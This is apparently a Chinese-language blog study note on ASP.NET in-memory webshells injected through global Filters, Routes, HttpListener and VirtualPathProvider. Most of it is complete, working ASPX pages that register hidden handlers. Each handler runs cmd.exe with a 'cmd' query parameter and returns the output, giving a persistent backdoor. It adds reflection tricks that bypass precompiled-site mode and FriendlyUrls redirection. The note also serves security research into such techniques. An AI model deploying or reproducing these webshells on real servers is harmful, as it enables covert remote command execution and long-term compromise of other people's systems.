ASP.NET 内存马

ASP.NET 内存马 (Filter/Route/HttpListener/VirtualPath)

学习 @yzddmr6 师傅的文章

Filter

https://learn.microsoft.com/zh-cn/aspnet/core/mvc/controllers/filters

https://learn.microsoft.com/zh-cn/aspnet/mvc/overview/older-versions-1/controllers-and-routing/understanding-action-filters-cs

https://www.cnblogs.com/xiaoxiaotank/p/15622083.html

https://tttang.com/archive/1408/

ASP.NET MVC 项目根目录的 Global.asax.cs 会在应用首次启动时注册 Area, Filter, Route, Bundle

  • Area: 区域 (路由的命名空间)
  • Filter: 筛选器
  • Route: 路由
  • Bundle: 静态资源

GlobalFilters.Filters

其 Filters 属性为 GlobalFilterCollection 类型

直接提供了 Add 的两个重载方法用于动态添加自定义 Filter

其中 order 为筛选器的运行顺序, 数值低的优先执行

ASP.NET MVC 框架支持四种不同类型的筛选器:

  1. 授权筛选器: 实现 IAuthorizationFilter 接口
  2. 操作筛选器: 实现 IActionFilter 接口
  3. 结果筛选器: 实现 IResultFilter 接口
  4. 异常筛选器: 实现 IExceptionFilter 接口

IAuthorizationFilter 总是最先被执行, 因此选择实现该接口, 并设置 Order 属性使得恶意 Filter 的顺序为第一位 (默认为 -1, 因此设置成比 -1 更小的整数)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Mvc" %>

<script runat="server">
    class EvilFilter : IAuthorizationFilter
    {
        public void OnAuthorization(AuthorizationContext filterContext)
        {
            HttpRequestBase request = filterContext.HttpContext.Request;
            HttpResponseBase response = filterContext.HttpContext.Response;

            String cmd = request.QueryString.Get("cmd");

            if (!String.IsNullOrEmpty(cmd))
            {
                ProcessStartInfo info = new ProcessStartInfo();
                info.FileName = "cmd.exe";
                info.Arguments = "/c " + cmd;
                info.UseShellExecute = false;
                info.RedirectStandardOutput = true;
                info.RedirectStandardError = true;

                Process p = new Process();
                p.StartInfo = info;
                p.Start();

                string result = p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd();
                response.Write(result);
                response.End();
            }
        }
    }
</script>

<%
    GlobalFilterCollection filters = GlobalFilters.Filters;
    filters.Add(new EvilFilter(), -2);
%>

注意点:

  1. 不能为某一路由单独设置 Filter, 只能将 Filter 作用于所有路由 (IAuthorizationFilter)
  2. 与 Tomcat Filter 的责任链模式不同, 无需显式调用filter.doFilter方法
  3. 只能访问已存在的路由从而触发 Filter
  4. 依赖 System.Web.Mvc.dll, 仅适用于 .NET MVC 项目

Route

https://learn.microsoft.com/zh-cn/dotnet/api/system.web.routing?view=netframework-3.5

https://tttang.com/archive/1420/

MVC 应用的 Route 注册逻辑

routes 为 RouteCollection 类的实例, 其内部通过 Dictionary 存储 route 信息

Add 时的 name 仅用于判断 route 是否重复, route 为 RouteBase 类的实例

两种方式注入内存马: RouteBase/Route

RouteBase

继承 RouteBase 类时需要实现 GetRouteData 和 GetVirtualPath 两个方法

方法 介绍
GetRouteData(HttpContextBase) 在派生类中重写时, 返回关于请求的路由信息.
GetVirtualPath(RequestContext, RouteValueDictionary) 在派生类中重写时, 检查路由是否与指定的值匹配, 如果匹配, 则生成 URL, 并检索有关该路由的信息.

优先级: GetRouteData > Controller > GetVirtualPath

1
2
3
GetRouteData
HomeController Index
GetVirtualPath

注意自定义的 EvilRouteBase 得插入到 RouteCollection 的第一位, 否则无法匹配

限制: 必须得访问已存在的路由才能触发 RouteBase 的逻辑

GetRouteData

这里有三种方法获取 Requet 和 Response 对象

  1. 反射 HttpContextBase (HttpContextWrapper)
  2. 使用 HttpContext.Current 静态属性从当前线程中获取 HttpContext
  3. 直接使用门面模式的 HttpRequestBase 和 HttpResponseBase
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Web.Routing" %>

<script runat="server">
    class EvilRouteBase : RouteBase
    {
        public override RouteData GetRouteData(HttpContextBase httpContext)
        {
            // 1. 反射获取 HttpContext, HttpRequest, HttpResponse
            HttpContext context = (HttpContext) typeof(HttpContextWrapper)?
                .GetField("_context", BindingFlags.Instance | BindingFlags.NonPublic)?
                .GetValue(httpContext);
            HttpRequest request = context?.Request;
            HttpResponse response = context?.Response;

            // 2. 使用 HttpContext.Current 属性获取 HttpContext
            // HttpContext context = HttpContext.Current;
            // HttpRequest request = context.Request;
            // HttpResponse response = context.Response;
            
            // 3. 直接使用 Wrapper
            // HttpRequestBase request = httpContext.Request;
            // HttpResponseBase response = httpContext.Response;

            String cmd = request?.QueryString.Get("cmd");

            if (!String.IsNullOrEmpty(cmd))
            {
                ProcessStartInfo info = new ProcessStartInfo();
                info.FileName = "cmd.exe";
                info.Arguments = "/c " + cmd;
                info.UseShellExecute = false;
                info.RedirectStandardOutput = true;
                info.RedirectStandardError = true;

                Process p = new Process();
                p.StartInfo = info;
                p.Start();

                string result = p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd();
                response.Write(result);
                response.End();
            }
            return null;
        }

        public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
        {
            return null;
        }
    }
</script>

<%
    RouteCollection routes = RouteTable.Routes;
    routes.Insert(0, new EvilRouteBase()); // 将 Route 添加到第一位
%>

GetVirtualPath

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>

<script runat="server">
    class EvilRouteBase : RouteBase
    {
        public override RouteData GetRouteData(HttpContextBase httpContext)
        {
            return null;
        }

        public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
        {
            HttpContext context = HttpContext.Current;
            HttpRequest request = context.Request;
            HttpResponse response = context.Response;

            String cmd = request?.QueryString.Get("cmd");

            if (!String.IsNullOrEmpty(cmd))
            {
                ProcessStartInfo info = new ProcessStartInfo();
                info.FileName = "cmd.exe";
                info.Arguments = "/c " + cmd;
                info.UseShellExecute = false;
                info.RedirectStandardOutput = true;
                info.RedirectStandardError = true;

                Process p = new Process();
                p.StartInfo = info;
                p.Start();

                string result = p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd();
                response.Write(result);
                response.End();
            }
            return null;
        }
    }
</script>

<%
    RouteCollection routes = RouteTable.Routes;
    routes.Insert(0, new EvilRouteBase()); // 将 Route 添加到第一位
%>

Route

实例化 Route 时需要指定 IRouteHandler, 其 GetHttpHandler 方法用于返回 IHttpHandler

需要注意 MVC 应用默认会注册 Url 为{controller}/{action}/{id}的路由规则, 自定义 Route 的 Url 必须设置为为evil{name}的形式, 否则会污染原有页面的路由

访问 /evil123 触发自定义 Route

IRouteHandler

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>

<script runat="server">
    class EvilRouteHandler : IRouteHandler
    {
        public IHttpHandler GetHttpHandler(RequestContext requestContext)
        {
            HttpContext httpContext = HttpContext.Current;
            HttpRequest request = httpContext.Request;
            HttpResponse response = httpContext.Response;

            String cmd = request?.QueryString.Get("cmd");

            if (!String.IsNullOrEmpty(cmd))
            {
                ProcessStartInfo info = new ProcessStartInfo();
                info.FileName = "cmd.exe";
                info.Arguments = "/c " + cmd;
                info.UseShellExecute = false;
                info.RedirectStandardOutput = true;
                info.RedirectStandardError = true;

                Process p = new Process();
                p.StartInfo = info;
                p.Start();

                string result = p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd();
                response.Write(result);
                response.End();
            }
            return null;
        }
    }
</script>

<%
    RouteCollection routes = RouteTable.Routes;
    Route route = new Route("evil{name}", new EvilRouteHandler());
    routes.Insert(0, route); // 将 Route 添加到第一位
%>

IHttpHandler

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Routing" %>

<script runat="server">
    class EvilRouteHandler : IRouteHandler
    {
        public IHttpHandler GetHttpHandler(RequestContext requestContext)
        {
            return new EvilHttpHandler();
        }
    }

    class EvilHttpHandler : IHttpHandler
    {
        public void ProcessRequest(HttpContext context)
        {
            HttpRequest request = context.Request;
            HttpResponse response = context.Response;

            String cmd = request?.QueryString.Get("cmd");

            if (!String.IsNullOrEmpty(cmd))
            {
                ProcessStartInfo info = new ProcessStartInfo();
                info.FileName = "cmd.exe";
                info.Arguments = "/c " + cmd;
                info.UseShellExecute = false;
                info.RedirectStandardOutput = true;
                info.RedirectStandardError = true;

                Process p = new Process();
                p.StartInfo = info;
                p.Start();

                string result = p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd();
                response.Write(result);
                response.End();
            }
        }

        public bool IsReusable { get; }
    }
</script>

<%
    RouteCollection routes = RouteTable.Routes;
    Route route = new Route("evil{name}", new EvilRouteHandler());
    routes.Insert(0, route); // 将 Route 添加到第一位
%>

HttpListener

https://learn.microsoft.com/zh-cn/dotnet/api/system.net.httplistener

https://tttang.com/archive/1451/

HttpListener 位于 System.Net 命名空间, 用于启动一个简单的 Web Server (类似 Python 的 http.server)

HttpListener 支持端口复用, 可用于内存马注入或权限维持 (80 端口复用需要 System 权限)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Threading" %>

<script runat="server">
    static void StartHttpListener(object url)
    {
        HttpListener httpListener = new HttpListener();
        httpListener.Prefixes.Add((string) url + "/evil/");
    
        httpListener.Start();
        Console.WriteLine("Listening...");

        while (true)
        {
            HttpListenerContext context = httpListener.GetContext();
            HttpListenerRequest request = context.Request;
            HttpListenerResponse response = context.Response;
            
            Console.WriteLine("Receive request: " + request.Url);

            String cmd = request.QueryString.Get("cmd");

            if (!String.IsNullOrEmpty(cmd))
            {
                ProcessStartInfo info = new ProcessStartInfo();
                info.FileName = "cmd.exe";
                info.Arguments = "/c " + cmd;
                info.UseShellExecute = false;
                info.RedirectStandardOutput = true;
                info.RedirectStandardError = true;

                Process p = new Process();
                p.StartInfo = info;
                p.Start();
                
                if (!p.WaitForExit(10*1000))
                {
                    p.Kill();
                }

                string result = p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd();
                byte[] buffer = Encoding.Default.GetBytes(result);
                response.ContentLength64 = buffer.Length;

                using (Stream output = response.OutputStream)
                {
                    output.Write(buffer, 0, buffer.Length);
                }
            }
        }
    }
</script>

<%
    string url = Request.Url.Scheme + "://" + Request.Url.Host + ":" + Request.Url.Port;
    Thread t = new Thread(StartHttpListener);
    t.Start(url);
%>

注意 HttpListenerContext, HttpListenerRequest, HttpListenerResponse 与 ASP.NET 中的 HttpContext, HttpRequest, HttpResponse 不同, 前者的实现更为底层, 不支持某些功能, 例如 POST 表单和 Session

在 HttpListener 内获取的 HttpContext.Current 为 null, 有两种解决办法:

  1. 通过 Thread 启动时传递当前 ASP.NET 线程的 HttpContext 引用至 HttpListener
  2. 手动根据 HttpListenerRequest, HttpListenerResponse 构造完整的 HttpRequest, HttpResponse

VirtualPath

https://learn.microsoft.com/zh-cn/dotnet/api/system.web.hosting.virtualpathprovider

https://tttang.com/archive/1488/

类 VirtualPathProvider 提供了一组用于实现 Web 应用程序的虚拟文件系统的方法. 在虚拟文件系统中, 文件和目录由服务器操作系统提供的文件系统以外的数据存储进行管理. 例如, 可以使用虚拟文件系统将内容存储在 SQL Server 数据库中.

VirtualPathProvider 的全限定类名为 System.Web.Hosting.VirtualPathProvider, 简单来说就是可以将路由映射到某个物理上不存在的文件, 即虚拟文件

通过HostingEnvironment.RegisterVirtualPathProvider方法注册 VirtualPathProvider

继承 VirtualPathProvider 抽象类时必须实现两个方法

  • FileExists: 判断请求的文件是否属于虚拟文件, 即是否命中该 VirtualPathProvider, 类似 urlPattern
  • GetFile: 从虚拟文件系统中获取虚拟文件, 返回一个 VirtualFile 对象

继承 VirtualFile 抽象类时必须实现 Open 方法, 该方法返回一个 Stream, 包含虚拟文件的源码 (例如 ASPX Webshell)

VirtualPathProvider 的注册流程使用单向链表结构, 即把当前指针指向新注册的 VPP, 然后把该 VPP 内部的 previous 指针指向上一个 VPP (即 HostingEnvironment 指向 VPP 指针的 Old Value)

另外 VirtualPathProvider 好像有生命周期

https://learn.microsoft.com/zh-cn/dotnet/api/system.runtime.remoting.lifetime.lifetimeservices

需要调用VirtualPathProvider.InitializeLifetimeService方法, 防止创建租约 (即使得生命周期无限长), 以防止被 GC 回收

https://learn.microsoft.com/zh-cn/dotnet/api/system.web.hosting.virtualpathprovider.initializelifetimeservice?view=netframework-4.8.1#system-web-hosting-virtualpathprovider-initializelifetimeservice

但是根据官方的文档来看好像并不需要去手动调用

VirtualFile

按照官方文档的要求实现 VirtualPathProvider 和 VirtualFile 抽象类, 增加内存马逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Web.Hosting" %>

<script runat="server">
    class EvilPathProvider : VirtualPathProvider
    {
        private readonly string _virtualPath;
        private readonly string _fileContent;
        
        public EvilPathProvider(string virtualPath, string fileContent)
        {
            _virtualPath = virtualPath;
            _fileContent = fileContent;
        }
        
        public override bool FileExists(string virtualPath)
        {
            if (virtualPath.EndsWith(_virtualPath))
            {
                return true;
            }
            return Previous.FileExists(virtualPath);
        }

        public override VirtualFile GetFile(string virtualPath)
        {
            if (virtualPath.EndsWith(_virtualPath))
            {
                return new EvilVirtualFile(_virtualPath, _fileContent);
            }
            return Previous.GetFile(virtualPath);
        }
    }

    class EvilVirtualFile : VirtualFile
    {
        private readonly string _fileContent;
        
        public EvilVirtualFile(string virtualPath, string fileContent) : base(virtualPath)
        {
            _fileContent = fileContent;
        }

        public override Stream Open()
        {
            MemoryStream mem = new MemoryStream(Encoding.Default.GetBytes(_fileContent));
            return mem;
        }
    }
</script>

<%
    string fileContent = File.ReadAllText(Context.Server.MapPath("/Shell.aspx"));
    EvilPathProvider evilPathProvider = new EvilPathProvider("/Evil.aspx", fileContent);
    HostingEnvironment.RegisterVirtualPathProvider(evilPathProvider);
    evilPathProvider.InitializeLifetimeService();
%>

参考文章和 ysoserial.net 的 GhostWebShell 都使用了 VirtualPathUtility 工具类以将 VirtualPath 转换为 RelativePath

但如果只是在特定路由注入内存马的话, 目前没发现 VirtualPath 和 RelativePath 的区别, 感觉都差不多

virtualPath 的路径类似~/a/b.aspx, 通过 EndsWith 简单匹配即可

GetCacheKey/FileExists

内存马的本质是向某个可以在每次请求时都被触发的位置插入自定义逻辑, 因此可以不用实现上述的 VirtualFile, 直接在 GetCacheKey/FileExists 甚至其它方法内部插入内存马

  • GetCacheKey: 访问已存在的文件时才能触发
  • FileExists: 访问存在/不存在的文件时都能触发
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Hosting" %>

<script runat="server">
    class EvilPathProvider : VirtualPathProvider
    {
        // 访问已存在的文件时才能触发
        public override string GetCacheKey(string virtualPath)
        {
            HttpContext context = HttpContext.Current;
            HttpRequest request = context.Request;
            HttpResponse response = context.Response;
        
            string cmd = request.QueryString.Get("cmd");
        
            if (!String.IsNullOrEmpty(cmd))
            {
                string result = Exec(cmd);
                response.Write(result);
                response.End();
            }
            
            return Previous.GetCacheKey(virtualPath);
        }
        
        // 访问存在/不存在的文件时都能触发
        // public override bool FileExists(string virtualPath)
        // {
        //     HttpContext context = HttpContext.Current;
        //     HttpRequest request = context.Request;
        //     HttpResponse response = context.Response;
        //
        //     string cmd = request.QueryString.Get("cmd");
        //
        //     if (!String.IsNullOrEmpty(cmd))
        //     {
        //         string result = Exec(cmd);
        //         response.Write(result);
        //         response.End();
        //     }
        //     
        //     return Previous.FileExists(virtualPath);
        // }

        public string Exec(string cmd)
        {
            ProcessStartInfo info = new ProcessStartInfo();
            info.FileName = "cmd.exe";
            info.Arguments = "/c " + cmd;
            info.UseShellExecute = false;
            info.RedirectStandardOutput = true;
            info.RedirectStandardError = true;

            Process p = new Process();
            p.StartInfo = info;
            p.Start();

            string result = p.StandardError.ReadToEnd() + p.StandardOutput.ReadToEnd();
            return result;
        }
    }
</script>

<%
    EvilPathProvider evilPathProvider = new EvilPathProvider();
    HostingEnvironment.RegisterVirtualPathProvider(evilPathProvider);
    evilPathProvider.InitializeLifetimeService();
%>

绕过预编译模式

如果部署预编译网站, 则不会为编译实例提供 VirtualPathProvider 的内容, 并且预编译站点不会使用任何 VirtualPathProvider 实例.

在调用 RegisterVirtualPathProvider 方法注册 VirtualPathProvider 时会判断是否为预编译模式

可以简单的通过反射修改这两个值以绕过预编译模式的限制

流程:

  1. 获取_theBuildManager
  2. 获取_isPrecompiledAppComputed_isPrecompiledApp
  3. 判断_isPrecompiledApp的值, 如果为 true, 则将_isPrecompiledAppComputed设置为 true, 将_isPrecompiledApp设置为 false

注意也需要修改_isPrecompiledAppComputed, 具体原因看上图, 为 false 的话则会重新判断当前网站是否处于预编译模式并将返回值赋给_isPrecompiledApp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Web.Compilation" %>

<%
    FieldInfo theBuildManagerField = typeof(BuildManager).GetField("_theBuildManager", BindingFlags.Static | BindingFlags.NonPublic);
    FieldInfo isPrecompiledAppField = typeof(BuildManager).GetField("_isPrecompiledApp", BindingFlags.Instance | BindingFlags.NonPublic);
    FieldInfo isPrecompiledAppComputedField = typeof(BuildManager).GetField("_isPrecompiledAppComputed", BindingFlags.Instance | BindingFlags.NonPublic);

    BuildManager theBuildManager = (BuildManager) theBuildManagerField.GetValue(null);
    bool isPrecompiledApp = (bool) isPrecompiledAppField.GetValue(theBuildManager);

    if (isPrecompiledApp)
    {
        isPrecompiledAppField.SetValue(theBuildManager, false);
        isPrecompiledAppComputedField.SetValue(theBuildManager, true);
    }
%>

感觉好像也可以直接用反射调用 RegisterVirtualPathProviderInternal

绕过 FriendlyUrls

FriendlyUrls 是一项非常古老的技术 (2013 年), 用于将 Web Forms 网站的路由更改为类似 MVC 的风格, 即去除路由的 .aspx 后缀, 同时提供了一些类似 Path Variables 的性质

安装 Microsoft.AspNet.FriendlyUrls.CoreNuGet 包

然后在App_Start/RouteConfig.cs增加如下内容

1
2
3
4
5
6
// routes.EnableFriendlyUrls();

routes.EnableFriendlyUrls(new FriendlyUrlSettings()
{
	AutoRedirectMode = RedirectMode.Permanent
});

注意如果为 MVC 应用, 会有一个默认的 MapRoute 规则, 需要将 EnableFriendlyUrls 增加到该规则上方, 否则原有的 MVC 路由会失效

FriendlyUrls 可以配置为是否启用自动重定向 (AutoRedirectMode)

  1. 未启用, 则 VirtualFile 内存马正常工作
  2. 已启用, 则 VirtualFile 内存马的路由/Evil.aspx无法正常访问 (更改为/Evil也一样)

该配置主要影响 VirtualFile 内存马 (GhostWebShell), GetCacheKey/FileExists 内存马不受影响

EnableFriendlyUrls 的逻辑就是将 FriendlyUrlRoute 添加至 RouteTable.Routes

绕过方式: 通过反射关闭 FriendlyUrls 的 AutoRedirectMode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Web.Routing" %>
<%@ Import Namespace="Microsoft.AspNet.FriendlyUrls" %>

<%
    foreach (var route in RouteTable.Routes)
    {
        if (route.GetType().FullName == "Microsoft.AspNet.FriendlyUrls.FriendlyUrlRoute")
        {
            var settingsField = route.GetType().GetProperty("Settings", BindingFlags.Instance | BindingFlags.Public);
            var settings = new FriendlyUrlSettings()
            {
                AutoRedirectMode = RedirectMode.Off
            };
            settingsField?.SetValue(route, settings);
        }
    }  
%>

不过我这边本地测试好像没用? 不知道什么原因

0%